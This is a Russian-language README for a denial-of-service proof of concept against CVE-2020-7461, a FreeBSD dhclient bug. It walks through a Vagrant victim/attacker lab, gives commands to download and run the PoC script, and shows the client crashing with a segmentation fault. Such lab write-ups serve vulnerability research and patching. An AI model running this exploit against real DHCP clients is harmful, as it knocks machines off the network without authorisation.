CVE-2020-7461

PoC для уязвимости DHCP (NAME:WRECK) в FreeBSD

Только в образовательных целях

Окружение

• Хост: macOS 11.2.1
• Vagrant: 2.2.15
• Жертва: FreeBSD 12.1-STABLE r364849
• Атакующий: Ubuntu 20.04

Предупреждение

Этот PoC вызывает DoS, а не RCE, чтобы предотвратить злоупотребления.

PoC

Отключите DHCP-сервер в VirtualBox

Запуск виртуальных машин

$ cd victim
$ vagrant up
$ cd ..

$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...

Запустите dhclient

Откройте другой терминал

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

Ссылки

• https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/
• https://www.freebsd.org/security/advisories/FreeBSD-SA-20:26.dhclient.asc

Автор

Teppei Fukuda